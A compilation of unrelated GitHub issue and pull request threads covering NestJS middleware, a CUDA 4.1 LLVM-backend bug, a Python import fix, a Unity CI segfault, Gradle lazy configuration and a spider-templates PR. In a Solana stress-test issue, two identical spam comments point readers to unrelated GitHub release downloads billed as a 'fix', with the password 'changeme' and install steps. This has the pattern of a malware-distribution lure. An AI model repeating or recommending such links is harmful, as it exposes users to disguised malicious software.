Hi @StrikeForceZero,
Actually, Nest supports async middlewares

I meant the resolving of middleware during application setup

hey @StrikeForceZero,
could you show any use-case?

@StrikeForceZero I think you're looking for #86

I actually don't have any the moment since middle-ware can be dependency injected.
But originally I was seeking asynchronous behavior in the resolve method using express-session with persistent storage (express-session-mysql in this case).
I was passing the configuration options when the middleware was being applied to the consumer in a module and then performing the setup inside the middleware's resolve method. Since it does't support dynamically awaiting with a return type of Promise<Express.RequestHandler> | Express.RequestHandler typescript would complain. The dependency injection is an ok stop gap for now, but still makes it difficult to boot up a persistent storage solution before the NestApplication calls listen as it has to be loaded before nest starts configuring.
@cojack A configuration phase could potentially be the more appropriate answer, thanks for linking.

Hi @StrikeForceZero,
In the nearest release it'd be possible to return Promise inside the middleware's resolve method.

Hi @StrikeForceZero,
It's possible since v4. Enjoy! :cat:


ret instruction for global entry kernel not supported in llvm bacend (cuda 4.1)

From<EMAIL_ADDRESS>on January 21, 2012 19:42:26
What steps will reproduce the problem? 1.Use cuda toolkit 4.1
2.Compile helloWorld.cu attached with nvcc, then link against libocelot
3.Set llvm as backend in configure.ocelot
4.Run helloWolrd What is the expected output? What do you see instead? Error infomration:
helloWorld: ocelot/executive/implementation/LLVMCooperativeThreadArray.cpp:495: bool executive::LLVMCooperativeThreadArray::_finishContext(unsigned int): Assertion `nextFunction < _queuedThreads.size()' failed. Please use labels and text to provide additional information. This problem exists for all apps compiled with cuda toolkit 4.1. I traced the problem a little and found that cuda 4.1 use PTX instruction "ret" instead of "exit" (as cuda 4.0 or before does) in the exit point of the kernel with global entry. However, ocelot (llvm backend) does not detect this situation and simply assumes that "ret" means the subkernel returns to its caller. It fails when it tries to pop the stack to get the caller function which actually does not exist in this case.
Attachment: helloWorld.cu
Original issue: http://code.google.com/p/gpuocelot/issues/detail?id=62

From<EMAIL_ADDRESS>on January 31, 2012 10:14:17
Added guard conditionals to exit a thread when it returns with an empty stack.
Status: Fixed


ImportError: No module named 'render'

Hi,
Has anyone had this error?
Traceback (most recent call last):
File "demo.py", line 15, in
from utils.render_app import get_visibility, get_uv_mask, get_depth_image
File "C:\Users\PRNet-master\utils\render_app.py", line 2, in
from render import vis_of_vertices, render_texture
ImportError: No module named 'render'
Using python 3 (have done the fixes to "w" Also python run_basics.py runs fine)
Thanks in advance

Yep, I've got the same issue - Python 3

change
from render import vis_of_vertices, render_texture
to
from utils.render import vis_of_vertices, render_texture

Thanks Seranus

@seranus Would you be willing to create a pull request on this change??  Python 3 does not like relative imports http://portingguide.readthedocs.io/en/latest/imports.html?highlight=absolute imports


codechef starters 13 div 3- magical doors solution in cpp

I've added a solution in C++ for Starters 13 Division 3 - MAGICAL DOORS problem. Link to the problem statement is present in the README.md file.
Attaching a screenshot for the Sub-Task Info:

please add this for hacktoberfest


Error code 139

Hello. Every time my workflow tries running unity builder, docker keeps failing on exit code 139. According to google, docker throwing 139 is a segmentation fault.
For me, the issue is reproducible simply by running the action, so I am also linking my project repo and providing the workflow I was using.

name: Unity3D
on:
  push:
    branches:
      - alpha
      - beta
      - master
  workflow_dispatch:
    branches:
      - alpha
env:
  PROJECT_PATH: ./MarloRunner
  BUILD_NAME: MarloRunner
  RELEASE_NAME: Marlo Runner
jobs:
build:
    name: Build - ${{ matrix.targetPlatform }} - Unity ver. ${{ matrix.unityVersion }}
    needs: initialize
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        unityVersion:
          - 2020.1.0f1
        targetPlatform:
          - StandaloneLinux64
          #- StandaloneWindows64
          #- StandaloneWindows
          #- StandaloneOSX
    steps:
      - name: Checkout
        uses: actions/checkout@v2
        with:
          lfs: true
      - name: Download Config
        uses: actions/download-artifact@v2
        with:
          name: unity3d.config
      - name: Get Version
        id: version
        uses<EMAIL_ADDRESS>        with:
          path: unity3d.config
          property: version
      - name: Cache
        uses: actions/cache@v2
        with:
          path: ${{ env.PROJECT_PATH }}/Library
          key: Library-${{ env.PROJECT_PATH }}-${{ matrix.targetPlatform }}
          restore-keys: |
            Library-${{ env.PROJECT_PATH }}-
            Library-
      - name: Build
        uses<EMAIL_ADDRESS>        env:
          UNITY_LICENSE: ${{ secrets.UNITY_LICENSE }}
        with:
          buildsPath: bin
          projectPath: ${{ env.PROJECT_PATH }}
          buildName: ${{ env.BUILD_NAME }}
          version: ${{ steps.version.outputs.value }}
          versioning: Custom
          unityVersion: ${{ matrix.unityVersion }}
          targetPlatform: ${{ matrix.targetPlatform }}
      - name: Archive
        uses: actions/upload-artifact@v2
        with:
          name: ${{ env.BUILD_NAME }}-${{ matrix.targetPlatform }}-${{ matrix.unityVersion }}
          path: bin/${{ env.BUILD_NAME }}

https://github.com/juliansangillo/marlo-runner
Thanks!

I think you can refer to: https://github.com/webbertakken/unity-actions/issues/84

Either that or is a general issue with version 2020.1.0f1.
Could you try and see if adding -nographics as a custom parameter solves your problem and if not could you try a different version than 0f1?

Apologies for the delay on this. Also thank you @caiusno1 and @webbertakken . I didn't realize that issue was similar to mine. I tried adding the -nographics parameter and it worked.


Update chainspec to include token metadata

  "properties": {
    "ss58Format": 42,
    "tokenDecimals": 12,
    "tokenSymbol": "ROC"
  },

This ticket isn't really necessary.


Add per user whitelist/blacklist support

Originally created by Antoine Nguyen on 2009-11-06T08:22:26Z
As for quarantine, Amavisd-new allows users to define personnal whitelists/blacklists in an SQL database.
Create a new extension (or modify the existing quarantine extension) to handle this.
Additional specs are needed.

This issue was moved to modoboa/modoboa-amavis#2


Ability to use ConfigurableFileCollection with custom Provider

Expected Behavior
Plugin developers should be able to feed ConfigurableFileCollection with values (e.g. a source set) provided by users in the plugin configuration.
Current Behavior
Existing ConfigurableFileCollection.setFrom() can be used to assign a life collection, but the instance has to exist at that time. It doesn't work  with the values provided by users in the plugin configuration.
Context
Migrating my plugin from Convention Mapping to Lazy Configuration I need to replace:
task.conventionMapping.with {
    sourceDirs = {
        extension.mainSourceSets.get()*.allSource.srcDirs.flatten() as Set
    }
}
//Extension: final SetProperty<SourceSet> mainSourceSets
//Task: @InputFiles Set<File> sourceDirs

with something like:
task.sourceDirs.setFrom(extension.mainSourceSets.get()*.allSource)
//Task: @InputFiles final ConfigurableFileCollection sourceDirs

Unfortunately, it doesn’t work as extension.mainSourceSets is null when assignment is executed. I would like to have something similar to:
task.sourceDirs.setFrom(project.providers.provider() {
    extension.mainSourceSets.get()*.allSource
})

but ConfigurableFileCollection.setFrom() doesn’t seem to work with that argument (tested with 5.4 and 6.3).
Unless I missed something, without that implemented the @InputFiles Set<File> sourceDirs construction should not be marked as deprecated.
My original question at the forum.

I missed the fact in Project#files documentation that I can use Callable (or Clousre) to achieve the desired behavior.
Just for reference, in my case it was:
task.sourceDirs.setFrom({
    extension.mainSourceSets.get()*.allSource*.srcDirs
} as Callable<Set<SourceDirectorySet>>)

Btw, I had to use coercion to help determine what is returned to prevent:

java.lang.ClassCastException: class ArrayList1_groovyProxy cannot be cast to class java.util.Iterator (ArrayList1_groovyProxy is in unnamed module of loader org.codehaus.groovy.runtime.ProxyGeneratorAdapter$InnerLoader @38f617f4; java.util.Iterator is in module java.base of loader 'bootstrap')

I think something like... task.sourceDirs.from(extension.mainSourceSets.flatMap { it.allSource })  may be close to what you want too.
The closure/callable will erase all dependency information.

Yes, with a suggestion @wolfs I ended up with:
task.sourceDirs.setFrom(extension.mainSourceSets.map { it*.allSource*.srcDirs })


e2e: add stress tests for Solana deposit and withdraw

Describe the Issue
Similar to test_stress_eth_deposit and test_stress_eth_withdraw. We should add test_stress_solana_deposit and test_stress_solana_withdraw for Solana.
Expected Outcome
A description of what outcome you are seeking.

to fix your trouble check this fix, i see it in another issue,
https://github.com/aravinda-gamage/x86_64-win64-ranlib/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Question mark in SQL

hello，everyone， What happens to SQL statements in Zipkin?

Has anyone met the problem of acquaintance,


Add an input URL list parameter

Addresses the first half of https://github.com/zytedata/zyte-spider-templates/issues/36. (I plan to have a separate PR for the ability to specify input URLs that point to the actual start URLs).
To do:

[x] Find out why CI fails.
[x] Confirm we are OK with the approach (\n as URL separator, ~separate~ same spider)
[x] Tests
[x] Docs

Tested manually. When specifying the urls parameter from a terminal, mind that "URL\nURL" will not work.

Codecov Report

Merging #38 (6805ea6) into main (f326a39) will increase coverage by 0.06%.
The diff coverage is 100.00%.

:exclamation: Current head 6805ea6 differs from pull request most recent head 350f626. Consider uploading reports for the commit 350f626 to get more accurate results

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #38      +/-   ##
==========================================
+ Coverage   98.61%   98.68%   +0.06%
==========================================
  Files          12       12
  Lines         506      531      +25
==========================================
+ Hits          499      524      +25
  Misses          7        7

Files
Coverage Δ

zyte_spider_templates/spiders/base.py
100.00% <100.00%> (ø)

zyte_spider_templates/spiders/ecommerce.py
99.04% <100.00%> (+0.25%)
:arrow_up:

LGTM. A few thoughts:
Making this available in the ecommerce template might mean that the upcoming article spider could be released without the max_requests_per_seed parameter. We can do it after the article launch. What do you think @PyExplorer ?

This parameter is quite important for Articles, especially for incremental crawl - discussed here https://zytegroup.slack.com/archives/G011GR9M47N/p1712058449481609?thread_ts=1712047414.333929&cid=G011GR9M47N

Is there anything left to do in this PR, besides resolving the conflicts?